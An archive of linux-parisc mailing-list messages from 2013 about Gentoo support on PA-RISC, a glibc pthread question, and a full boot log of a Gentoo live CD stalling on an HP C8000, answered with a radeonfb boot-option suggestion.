Looks like [1], notified upstream at [2]. We shouldn't be issuing
ENOSYS at all here.


     jer


[1] https://bugs.gentoo.org/show_bug.cgi?id=460702
[2] http://lists.nongnu.org/archive/html/acl-devel/2012-12/msg00000.html
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell" <carlos@systemhalted.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: PARISC Linux website and status update
Date: Wed, 24 Apr 2013 15:33:51 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <CAE2sS1iCgWcEYcau8d38J7coiB8usVmv_z1wfU8YnYtN1FJJkg@mail.gmail.com>
References: <5171B347.6070600@gmx.de>
	<13691126.u1dAREQ1nW@donald.sf-tec.de>
	<CA+DQjFhDcf09ZD9SvWvX95hu1hDd-T33YV-ipAzCNr5Se-dDKw@mail.gmail.com>
	<51729CA4.2060008@gmx.de>
	<CAE2sS1gDFqtvsk3hUoKNQJ6vSTurhhx5BNNC3iLbUnq_67Xu+Q@mail.gmail.com>
	<5177E29E.1040505@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
X-Trace: ger.gmane.org 1366832038 19827 80.91.229.3 (24 Apr 2013 19:33:58 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Apr 2013 19:33:58 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Rolf Eike Beer <eike-kernel@sf-tec.de>,
	"debian-hppa@lists.debian.org" <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 24 21:34:00 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UV5Rx-00039w-82
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Apr 2013 21:33:53 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757286Ab3DXTdw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Apr 2013 15:33:52 -0400
Original-Received: from mail-oa0-f53.google.com ([209.85.219.53]:51327 "EHLO
	mail-oa0-f53.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757165Ab3DXTdw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Apr 2013 15:33:52 -0400
Original-Received: by mail-oa0-f53.google.com with SMTP id m6so2129888oag.12
        for <linux-parisc@vger.kernel.org>; Wed, 24 Apr 2013 12:33:51 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=google.com; s=20120113;
        h=mime-version:x-received:x-originating-ip:in-reply-to:references
         :date:message-id:subject:from:to:cc:content-type:x-gm-message-state;
        bh=QkdEk/xhY/M8vs4XdG8O/A0bG9yW1WnaRrMf/WwT/+c=;
        b=di+AvqMrB+D6nVsQnZEttN9oXO6PmbZQmNxr8dP25kShzFKnksJEAieOQrabnPXLo7
         8kQOkh9+t38p8zIAPrOxZMGfqg15XIf2RlecheHBBHeCLPbZvtiw5UQwbD/etfY0fPJK
         VoZX7hp0ptOu9l8lCMhUcoBwY5cNJnNUOiR6Lfj3tAarZbhNqzWTlBa1sCVA9tYSGyVD
         X61OGtmW3+kbhcKM7NlYb2xfiEAjGbfMzTlyHQOGwxc8QHSZ70WIqQ3xia9a50Q7/KwL
         XwR94LKRtDRSRq+3vMI0dXba1nF3C4aiFYAMLGRe0lwa1zgtPDe3lpTkt22qIyW2LsKk
         4IXw==
X-Received: by 10.60.16.74 with SMTP id e10mr2411131oed.68.1366832031714; Wed,
 24 Apr 2013 12:33:51 -0700 (PDT)
Original-Received: by 10.76.9.200 with HTTP; Wed, 24 Apr 2013 12:33:51 -0700 (PDT)
X-Originating-IP: [70.48.58.115]
In-Reply-To: <5177E29E.1040505@bell.net>
X-Gm-Message-State: ALoCoQn66aGOoz6HRWkbqFPdQuz6jFxIAdVZdMuE/R0g4kvoshClmf388PRPULdoGKRk+VMrKBr5
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4948 gmane.linux.debian.ports.hppa:6862
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4948>

On Wed, Apr 24, 2013 at 9:48 AM, John David Anglin <dave.anglin@bell.net> wrote:
> On 4/24/2013 9:18 AM, Carlos O'Donell wrote:
>>
>> On Sat, Apr 20, 2013 at 9:48 AM, Helge Deller <deller@gmx.de> wrote:
>>>
>>> So, sorry for forgetting to mention GENTOO LINUX on the website!
>>> I've fixed it now (please wait one hour until the cron job activates the
>>> changes).
>>
>> I'm using Gentoo for all my hppa hacking right now since I wanted to
>> focus on toolchain issues rather than distribution issues :/
>
> I have to say one learns a lot about toolchain issues building a
> distribution...

Absolutely. That doesn't detract from needing a stable environment
to build and test with, which gentoo provides.

> Have you played with mysql-5.5?  Testsuite appears to show some
> glibc problems (pthread_cond_timedwait).  Thoughts?

What glibc version?

We use the generic pthread_cond_timedwait implementation.

The only thought I have is that pthread_cond_timedwait in master
might try to use PI-aware mutexes and we haven't had much testing
of the PI support in hppa. So there might be some issues to review
there. I'll run the mysql-5.5 testsuite to try validate some of the
cleanup I have planned.

Cheers,
Carlos.
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:08 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Teichert <krypton@ulrich-teichert.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Gentoo boot on C8000 (was: Re: PARISC Linux website and status update)
Date: Wed, 24 Apr 2013 21:44:52 +0200 (MEST)
Lines: 205
Approved: news@gmane.org
Message-ID: <201304241944.r3OJirJv009740@arbas.nms.ulrich-teichert.org>
References: <20130420155518.0de6df62@marga.jer-c2.orkz.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1366833552 4504 80.91.229.3 (24 Apr 2013 19:59:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Apr 2013 19:59:12 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org
To: jer@gentoo.org (Jeroen Roovers)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 24 21:59:17 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UV5qU-0002q8-2z
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Apr 2013 21:59:14 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757547Ab3DXT7N (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Apr 2013 15:59:13 -0400
Original-Received: from mail05do.versatel.de ([89.245.129.25]:43514 "EHLO
	mail05do.versatel.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757613Ab3DXT7M (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Apr 2013 15:59:12 -0400
X-Greylist: delayed 399 seconds by postgrey-1.27 at vger.kernel.org; Wed, 24 Apr 2013 15:59:11 EDT
Original-Received: (qmail 10590 invoked from network); 24 Apr 2013 19:52:30 -0000
X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on
	spamkill04do.versatel-west.de
X-Spam-Status: No, score=0.0
Original-Received: from i577a93dc.versanet.de (HELO arbas.nms.ulrich-teichert.org) (ulrich-teichert@foni.net@[87.122.147.220])
          (envelope-sender <ut@ulrich-teichert.org>)
          by mail05do.versatel.de (qmail-ldap-1.03) with ESMTPA
          for <jer@gentoo.org>; 24 Apr 2013 19:52:20 -0000
Original-Received: from arbas.nms.ulrich-teichert.org (localhost [127.0.0.1])
	by arbas.nms.ulrich-teichert.org (8.13.6/8.13.6) with ESMTP id r3OJisnH009742;
	Wed, 24 Apr 2013 21:44:54 +0200
Original-Received: (from ut@localhost)
	by arbas.nms.ulrich-teichert.org (8.13.6/8.13.6/Submit) id r3OJirJv009740;
	Wed, 24 Apr 2013 21:44:53 +0200
In-Reply-To: <20130420155518.0de6df62@marga.jer-c2.orkz.net>
X-Mailer: ELM [version 2.5 PL8]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4949
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4949>

Hi,

[del]
>have been kept up to date quite well. That said, we recently released a
>new set of boot images (CD[2] and netboot[3]) with support for
>recent hardware, filesystems and (yes!) SMP.
>
>
>     jer
>
>
>[1] http://distfiles.gentoo.org/releases/hppa/autobuilds/current-stage3/
>[2] http://distfiles.gentoo.org/experimental/hppa/livecd/
>[3] http://distfiles.gentoo.org/experimental/hppa/netboot/

Tried [2] on my C8000 dual CPU, on a serial line just now:

...
HARD Booted.
<Cpu0> 0000109800e00000  0000000000000000  CC_BOOT_LAUNCH_IPL_OTHR
<Cpu0> 0100142900e00000  fffffff0f0e0ac00  CC_CPU_INTRIGUE_LDB
<Cpu0> 3400082100e00000  0000000000000001  CC_BOOT_BOOT_COMPLETE
palo ipl 1.5 root@hope Sat Apr 23 18:06:47 CEST 2005
...

[    0.000000] Linux version 3.6.11-livecd64 (root@terminator) (gcc version 4.6.3 (Gentoo 4.6.3 p1.9) ) #1 SMP Thu Jan 24 16:09:18 UTC 2013
[    0.000000] unwind_init: start = 0x406ad000, end = 0x406e85e0, entries = 15198
[    0.000000] FP[0] enabled: Rev 1 Model 20
[    0.000000] The 64-bit Kernel has started...
[    0.000000] bootconsole [ttyB0] enabled
[    0.000000] Initialized PDC Console for debugging.
[    0.000000] Determining PDC firmware type: 64 bit PAT.
[    0.000000] model 000089b0 00000491 00000000 00000002 56fa29f07c511780 100000f0 00000008 000000b2 000000b2
[    0.000000] vers  00000401
[    0.000000] CPUID vers 20 rev 10 (0x0000028a)
[    0.000000] capabilities 0x35
[    0.000000] model 9000/785/C8000
[    0.000000] parisc_cache_init: Only equivalent aliasing supported!
[    0.000000] Memory Ranges:
[    0.000000]  0) Start 0x0000000000000000 End 0x000000003fffffff Size   1024 MB
[    0.000000]  1) Start 0x0000000100000000 End 0x00000001ffdfffff Size   4094 MB
[    0.000000]  2) Start 0x0000004040000000 End 0x00000040ffffffff Size   3072 MB
[    0.000000] Total Memory: 8190 MB
[    0.000000] initrd: 7fda6000-7ffee9d0
[    0.000000] initrd: reserving 3fda6000-3ffee9d0 (mem_max 1ffe00000)
[    0.000000] PERCPU: Embedded 10 pages/cpu @000000004266e000 s9728 r8192 d23040 u40960
[    0.000000] SMP: bootstrap CPU ID is 0
[    0.000000] Built 3 zonelists in Zone order, mobility grouping on.  Total pages: 2067975
[    0.000000] Kernel command line:  root=/dev/ram0 init=/linuxrc cdroot dokeymap looptype=squashfs loop=/image.squashfs console=ttyB0 palo_kernel=0/livecd
[    0.000000] PID hash table entries: 4096 (order: 3, 32768 bytes)
[    0.000000] Dentry cache hash table entries: 1048576 (order: 11, 8388608 bytes)
[    0.000000] Inode-cache hash table entries: 524288 (order: 10, 4194304 bytes)
[    0.000000] Memory: 8230968k/8386560k available (4846k kernel code, 155592k reserved, 1929k data, 376k init)
[    0.000000] SLUB: Genslabs=11, HWalign=64, Order=0-3, MinObjects=0, CPUs=32, Nodes=8
[    0.000000] Hierarchical RCU implementation.
[    0.000000] NR_IRQS:128
[    0.000000] Console: colour dummy device 160x64
[    0.056000] Calibrating delay loop... 1988.60 BogoMIPS (lpj=3977216)
[    0.156000] pid_max: default: 32768 minimum: 301
[    0.216000] Mount-cache hash table entries: 256
[    0.276000] Brought up 1 CPUs
[    0.316000] xor: measuring software checksum speed
[    0.420000]    8regs     :  4697.000 MB/sec
[    0.512000]    8regs_prefetch:  3504.000 MB/sec
[    0.608000]    32regs    :  3852.000 MB/sec
[    0.700000]    32regs_prefetch:  3552.000 MB/sec
[    0.760000] xor: using function: 8regs (4697.000 MB/sec)
[    0.828000] NET: Registered protocol family 16
[    0.888000] EISA bus registered
[    0.928000] Searching for devices...
[    1.080000] Found devices:
[    1.116000] 1. Crestone Peak Mako+ Slow at 0xfffffffffe780000 [128] { 0, 0x0, 0x89b, 0x00004 }
[    1.232000] 2. Crestone Peak Mako+ Slow at 0xfffffffffe781000 [129] { 0, 0x0, 0x89b, 0x00004 }
[    1.344000] 3. Memory at 0xfffffffffed08000 [8] { 1, 0x0, 0x0b6, 0x00009 }
[    1.436000] 4. Pluto BC McKinley Port at 0xfffffffffed00000 [0] { 12, 0x0, 0x880, 0x0000c }
[    1.544000] 5. Mercury PCI Bridge at 0xfffffffffed20000 [0/0] { 13, 0x0, 0x783, 0x0000a }
[    1.652000] 6. Mercury PCI Bridge at 0xfffffffffed24000 [0/2] { 13, 0x0, 0x783, 0x0000a }
[    1.760000] 7. Mercury PCI Bridge at 0xfffffffffed26000 [0/3] { 13, 0x0, 0x783, 0x0000a }
[    1.868000] 8. Quicksilver AGP Bridge at 0xfffffffffed28000 [0/4] { 13, 0x0, 0x784, 0x0000a }
[    1.980000] 9. BMC IPMI Mgmt Ctlr at 0xfffffff0f05b0000 [16] { 15, 0x0, 0x004, 0x000c0 }
[    2.088000] 10. unknown device at 0xfffffff0f05e0000 [17] { 10, 0x0, 0x076, 0x000ad }
[    2.192000] 11. unknown device at 0xfffffff0f05e2000 [18] { 10, 0x0, 0x076, 0x000ad }
[    2.296000] Enabling PDC_PAT chassis codes support v0.05
<Cpu0> 38000c6400e00000  a0e008101100c000  CC_PAT_ENCODED_FIELD_MAJOR_FWD_PROG
<Cpu0> 36000c6a00e00000  0000000000000420  CC_PAT_DATA_FIELD_MAJOR_FWD_PROG
[    3.228000] Releasing cpu 1 now, hpa=fffffffffe781000
<Cpu1> 0000099101e00000  0000000000000000  CC_BOOT_OS_RENDEZVOUS
<Cpu1> 0100142901e00000  fffffff0f0e0ac00  CC_CPU_INTRIGUE_LDB
[    3.664000] FP[1] enabled: Rev 1 Model 20
[    3.668000] genirq: Flags mismatch irq 64. 00015620 (timer) vs. 00015620 (timer)
[    3.816000] genirq: Flags mismatch irq 65. 00000420 (IPI) vs. 00000420 (IPI)
[    3.924000] CPU(s): 2 x PA8900 (Shortfin) at 1000.000000 MHz
[    4.008000] Setting cache flush threshold to 4000000 (2 CPUs online)
[    4.256000] SBA found Pluto 2.3 at 0xfffffffffed00000
[    4.472000] Mercury version TR3.2 (0x32) found at 0xfffffffffed20000
[    4.616000] LBA 0:0: PCI host bridge to bus 0000:00
[    4.680000] pci_bus 0000:00: root bus resource [io  0x0000-0xffff]
[    4.760000] pci_bus 0000:00: root bus resource [mem 0xffffffff80000000-0
fffff8fffffff] (bus address [0x80000000-0x8fffffff])
[    4.912000] pci_bus 0000:00: root bus resource [mem 0xffffff0000000000-0xffffff0fffffffff]
[    5.024000] pci_bus 0000:00: root bus resource [bus 00-07]
[    5.120000] Mercury version TR3.2 (0x32) found at 0xfffffffffed24000
[    5.264000] LBA 0:2: PCI host bridge to bus 0000:40
[    5.328000] pci_bus 0000:40: root bus resource [io  0x10000-0x1ffff] (bus address [0x0000-0xffff])
[    5.448000] pci_bus 0000:40: root bus resource [mem 0xffffffffa0000000-0xffffffffafffffff] (bus address [0xa0000000-0xafffffff])
[    5.600000] pci_bus 0000:40: root bus resource [mem 0xffffff2000000000-0xffffff2fffffffff]
[    5.708000] pci_bus 0000:40: root bus resource [bus 40-47]
[    5.804000] Mercury version TR3.2 (0x32) found at 0xfffffffffed26000
[    5.948000] LBA 0:3: PCI host bridge to bus 0000:60
[    6.016000] pci_bus 0000:60: root bus resource [io  0x20000-0x2ffff] (bus address [0x0000-0xffff])
[    6.132000] pci_bus 0000:60: root bus resource [mem 0xffffffffb0000000-0xffffffffbfffffff] (bus address [0xb0000000-0xbfffffff])
[    6.284000] pci_bus 0000:60: root bus resource [mem 0xffffff3000000000-0xffffff3fffffffff]
[    6.396000] pci_bus 0000:60: root bus resource [bus 60-67]
[    6.492000] Quicksilver version TR1.0 (0x10) found at 0xfffffffffed28000
[    6.640000] LBA 0:4: PCI host bridge to bus 0000:80
[    6.708000] pci_bus 0000:80: root bus resource [io  0x30000-0x3ffff] (bus address [0x0000-0xffff])
[    6.824000] pci_bus 0000:80: root bus resource [mem 0xffffffffc0000000-0xffffffffcfffffff] (bus address [0xc0000000-0xcfffffff])
[    6.976000] pci_bus 0000:80: root bus resource [mem 0xffffff4000000000-0xffffff4fffffffff]
[    7.084000] pci_bus 0000:80: root bus resource [bus 80-87]
[    7.160000] pci 0000:80:00.0: no compatible bridge window for [mem 0xd0030000-0xd003ffff]
[    7.268000] pci 0000:80:00.0: no compatible bridge window for [mem 0xd0000000-0xd001ffff pref]
[    7.380000] pci 0000:80:00.1: no compatible bridge window for [mem 0xd0020000-0xd002ffff]
[    7.488000] iosapic: no IRTE for 0000:80:00.1 (IRQ not connected?)
[    7.568000] pci 0000:80:00.0: BAR 6: assigned [mem 0xffffff4000000000-0xffffff400001ffff pref]
[    7.684000] pci 0000:80:00.0: BAR 2: assigned [mem 0xffffff4000020000-0xffffff400002ffff]
[    7.792000] pci 0000:80:00.1: BAR 1: assigned [mem 0xffffff4000030000-0xffffff400003ffff]
<Cpu0> 0300108200e00000  0000000000000000  CC_PROCS_ENTRY_IN
<Cpu0> 0300030700e00000  0000000000000000  CC_SYSTEM_STATE_RUNNING_OK
[    8.304000] powersw: Soft power switch at 0xfffffff0f042e278 enabled.
[    8.400000] bio: create slab <bio-0> at 0
[    8.520000] raid6: int64x1    988 MB/s
[    8.636000] raid6: int64x2   1207 MB/s
[    8.752000] raid6: int64x4   1342 MB/s
[    8.868000] raid6: int64x8   1270 MB/s
[    8.916000] raid6: using algorithm int64x4 (1342 MB/s)
[    8.984000] raid6: using intx1 recovery algorithm
[    9.044000] vgaarb: device added: PCI:0000:80:00.0,decodes=io+mem,owns=io+mem,locks=none
[    9.152000] vgaarb: loaded
[    9.188000] vgaarb: bridge control possible 0000:80:00.0
[    9.260000] SCSI subsystem initialized
[    9.308000] usbcore: registered new interface driver usbfs
[    9.380000] usbcore: registered new interface driver hub
[    9.452000] usbcore: registered new device driver usb
[    9.524000] NET: Registered protocol family 2
[    9.584000] TCP established hash table entries: 262144 (order: 10, 4194304 bytes)
[    9.684000] TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
[    9.776000] TCP: Hash tables configured (established 262144 bind 65536)
[    9.860000] TCP: reno registered
[    9.684000] TCP bind hash table entries: 65536 (order: 8, 1048576 bytes)
[    9.776000] TCP: Hash tables configured (established 262144 bind 65536)
[    9.860000] TCP: reno registered
[    9.904000] UDP hash table entries: 4096 (order: 5, 131072 bytes)
[    9.984000] UDP-Lite hash table entries: 4096 (order: 5, 131072 bytes)
[   10.072000] NET: Registered protocol family 1
[   10.204000] Unpacking initramfs...
[   11.540000] Freeing initrd memory: 2338k freed
[   11.600000] The PDC console driver is still registered, removing CON_BOOT flag
[   11.696000] Chassis warnings not supported.
[   11.752000] Performance monitoring counters enabled for Crestone Peak Mako+ Slow
[   11.860000] squashfs: version 4.0 (2009/01/31) Phillip Lougher
[   11.960000] msgmni has been set to 16080
[   12.012000] io scheduler noop registered
[   12.064000] io scheduler deadline registered
[   12.120000] io scheduler cfq registered (default)
[   12.184000] STI GSC/PCI core graphics driver Version 0.9a
[   12.256000] radeonfb 0000:80:00.0: enabling SERR and PARITY (0107 -> 0147)
<Cpu1> e800009801e00000  00000000401173e8  CC_ERR_CHECK_HPMC
<Cpu1> 37000f7301e00000  8040004000000000  CC_ERR_CPU_CHECK_SUMMARY
<Cpu1> f600105e01e00000  fffffff0f0c00000  CC_MC_HPMC_MONARCH_SELECTED
<Cpu1> 140003b201e00000  000000000000000b  CC_ERR_HPMC_STATE_ENTRY
<Cpu1> 5600100b01e00000  0000000000000194  CC_MC_OS_HPMC_LEN_ERR
<Cpu1> 5600106401e00000  fffffff0f0436fc0  CC_MC_BR_TO_OS_HPMC_FAILED
<Cpu1> e800009801e00000  00000000401173e8  CC_ERR_CHECK_HPMC
<Cpu0> ec000c9600e00000  0000000000000000  CC_ERR_CHECK_FALL_THROUGH
<Cpu1> 37000f7301e00000  8040004000000000  CC_ERR_CPU_CHECK_SUMMARY
<Cpu1> 4000109f01e00000  0000000000000000  CC_MC_HPMC_INITIATED
<Cpu1> 4000101901e00000  0000000000000000  CC_MC_MULTIPLE_HPMCS
<Cpu1> 030010d501e00000  0000000000000000  CC_CPU_STOP
[   72.356000] INFO: rcu_sched detected stalls on CPUs/tasks: { 1} (detected by 0, t=15002 jiffies)
[   72.356000] Backtrace:
[   72.356000]  [<0000000040136238>] dump_stack+0x18/0x28
[   72.356000]  [<00000000401badec>] rcu_check_callbacks+0x824/0x840
[   72.356000]  [<000000004016c6fc>] update_process_times+0x64/0xb0
[   72.356000]  [<00000000401378c8>] timer_interrupt+0x198/0x1f8
[   72.356000]  [<00000000401b1c4c>] handle_irq_event_percpu+0xbc/0x2f8
[   72.356000]  [<00000000401b62ec>] handle_percpu_irq+0x9c/0xd0
[   72.356000]  [<00000000401b10b4>] generic_handle_irq+0x44/0x58
[   72.356000]  [<000000004013839c>] do_cpu_irq_mask+0x1ac/0x290
[   72.356000]  [<0000000040105074>] intr_return+0x0/0x4
[   72.356000]  [<000000004013f428>] cpu_idle+0x80/0xb0

And that's it. Well, the ISO *is* an experimental one ;-) Any idea what
to try?

CU,
Uli
-- 
Dipl. Inf. Ulrich Teichert|e-mail: Ulrich.Teichert@gmx.de | Listening to:
Stormweg 24               |Pale Bride (The Von Bondies), Slip Away (Sedatives)
24539 Neumuenster, Germany|Sacred Decay (The Estranged), She's Lost Control
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:09:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rolf Eike Beer <eike-kernel@sf-tec.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Gentoo boot on C8000 (was: Re: PARISC Linux website and status update)
Date: Wed, 24 Apr 2013 22:08:19 +0200
Lines: 97
Approved: news@gmane.org
Message-ID: <1725746.7h2TmhW5F7@eto>
References: <201304241944.r3OJirJv009740@arbas.nms.ulrich-teichert.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/signed; boundary="nextPart2937413.mASnzxs9S0"; micalg="pgp-sha1"; protocol="application/pgp-signature"
X-Trace: ger.gmane.org 1366834106 9937 80.91.229.3 (24 Apr 2013 20:08:26 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 24 Apr 2013 20:08:26 +0000 (UTC)
Cc: Jeroen Roovers <jer@gentoo.org>, linux-parisc@vger.kernel.org
To: Ulrich Teichert <krypton@ulrich-teichert.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Apr 24 22:08:30 2013
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1UV5zR-0003jx-0p
	for glpp-linux-parisc@plane.gmane.org; Wed, 24 Apr 2013 22:08:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757672Ab3DXUI2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 24 Apr 2013 16:08:28 -0400
Original-Received: from mail.sf-mail.de ([62.27.20.61]:54968 "EHLO mail.sf-mail.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1757663Ab3DXUI1 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 24 Apr 2013 16:08:27 -0400
Original-Received: (qmail 19167 invoked from network); 24 Apr 2013 20:08:26 -0000
Original-Received: from dslb-188-096-223-029.pools.arcor-ip.net ([::ffff:188.96.223.29]:47860 HELO eto.sf-tec.de) (auth=eike@sf-mail.de)
	by mail.sf-mail.de (Qsmtpd 0.23svn) with (DHE-RSA-AES256-SHA encrypted) ESMTPSA
	for <krypton@ulrich-teichert.org>; Wed, 24 Apr 2013 22:08:26 +0200
User-Agent: KMail/4.10.2 (Linux/3.8.8-3-desktop; KDE/4.10.2; x86_64; ; )
In-Reply-To: <201304241944.r3OJirJv009740@arbas.nms.ulrich-teichert.org>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:4950
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/4950>


--nextPart2937413.mASnzxs9S0
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain; charset="utf-8"

Am Mittwoch 24 April 2013, 21:44:52 schrieb Ulrich Teichert:
> Hi,
>=20
> [del]
>=20
> >have been kept up to date quite well. That said, we recently release=
d a
> >new set of boot images (CD[2] and netboot[3]) with support for
> >recent hardware, filesystems and (yes!) SMP.
> >
> >     jer
> >
> >[1] http://distfiles.gentoo.org/releases/hppa/autobuilds/current-sta=
ge3/
> >[2] http://distfiles.gentoo.org/experimental/hppa/livecd/
> >[3] http://distfiles.gentoo.org/experimental/hppa/netboot/
>=20
> Tried [2] on my C8000 dual CPU, on a serial line just now:
>=20
> ...
> HARD Booted.
> <Cpu0> 0000109800e00000  0000000000000000  CC_BOOT_LAUNCH_IPL_OTHR
> <Cpu0> 0100142900e00000  fffffff0f0e0ac00  CC_CPU_INTRIGUE_LDB
> <Cpu0> 3400082100e00000  0000000000000001  CC_BOOT_BOOT_COMPLETE
> palo ipl 1.5 root@hope Sat Apr 23 18:06:47 CEST 2005
> ...
>=20
> [    0.000000] Kernel command line:  root=3D/dev/ram0
> init=3D/linuxrc cdroot dokeymap looptype=3Dsquashfs loop=3D/image.squ=
ashfs
> console=3DttyB0 palo_kernel=3D0/livecd
[=E2=80=A6]
> [   12.256000] radeonfb 0000:80:00.0: enabling SERR and PARITY (0107 =
->
> 0147) <Cpu1> e800009801e00000  00000000401173e8  CC_ERR_CHECK_HPMC
> <Cpu1> 37000f7301e00000  8040004000000000  CC_ERR_CPU_CHECK_SUMMARY
> <Cpu1> f600105e01e00000  fffffff0f0c00000  CC_MC_HPMC_MONARCH_SELECTE=
D
> <Cpu1> 140003b201e00000  000000000000000b  CC_ERR_HPMC_STATE_ENTRY
> <Cpu1> 5600100b01e00000  0000000000000194  CC_MC_OS_HPMC_LEN_ERR
> <Cpu1> 5600106401e00000  fffffff0f0436fc0  CC_MC_BR_TO_OS_HPMC_FAILED=

> <Cpu1> e800009801e00000  00000000401173e8  CC_ERR_CHECK_HPMC
> <Cpu0> ec000c9600e00000  0000000000000000  CC_ERR_CHECK_FALL_THROUGH
> <Cpu1> 37000f7301e00000  8040004000000000  CC_ERR_CPU_CHECK_SUMMARY
> <Cpu1> 4000109f01e00000  0000000000000000  CC_MC_HPMC_INITIATED
> <Cpu1> 4000101901e00000  0000000000000000  CC_MC_MULTIPLE_HPMCS
> <Cpu1> 030010d501e00000  0000000000000000  CC_CPU_STOP
> [   72.356000] INFO: rcu_sched detected stalls on CPUs/tasks: { 1} (d=
etected
> by 0, t=3D15002 jiffies) [   72.356000] Backtrace:
> [   72.356000]  [<0000000040136238>] dump_stack+0x18/0x28
> [   72.356000]  [<00000000401badec>] rcu_check_callbacks+0x824/0x840
> [   72.356000]  [<000000004016c6fc>] update_process_times+0x64/0xb0
> [   72.356000]  [<00000000401378c8>] timer_interrupt+0x198/0x1f8
> [   72.356000]  [<00000000401b1c4c>] handle_irq_event_percpu+0xbc/0x2=
f8
> [   72.356000]  [<00000000401b62ec>] handle_percpu_irq+0x9c/0xd0
> [   72.356000]  [<00000000401b10b4>] generic_handle_irq+0x44/0x58
> [   72.356000]  [<000000004013839c>] do_cpu_irq_mask+0x1ac/0x290
> [   72.356000]  [<0000000040105074>] intr_return+0x0/0x4
> [   72.356000]  [<000000004013f428>] cpu_idle+0x80/0xb0
>=20
> And that's it. Well, the ISO *is* an experimental one ;-) Any idea wh=
at
> to try?

video=3Dradeonfb:off

HTH,

Eike
--nextPart2937413.mASnzxs9S0
Content-Type: application/pgp-signature; name="signature.asc"
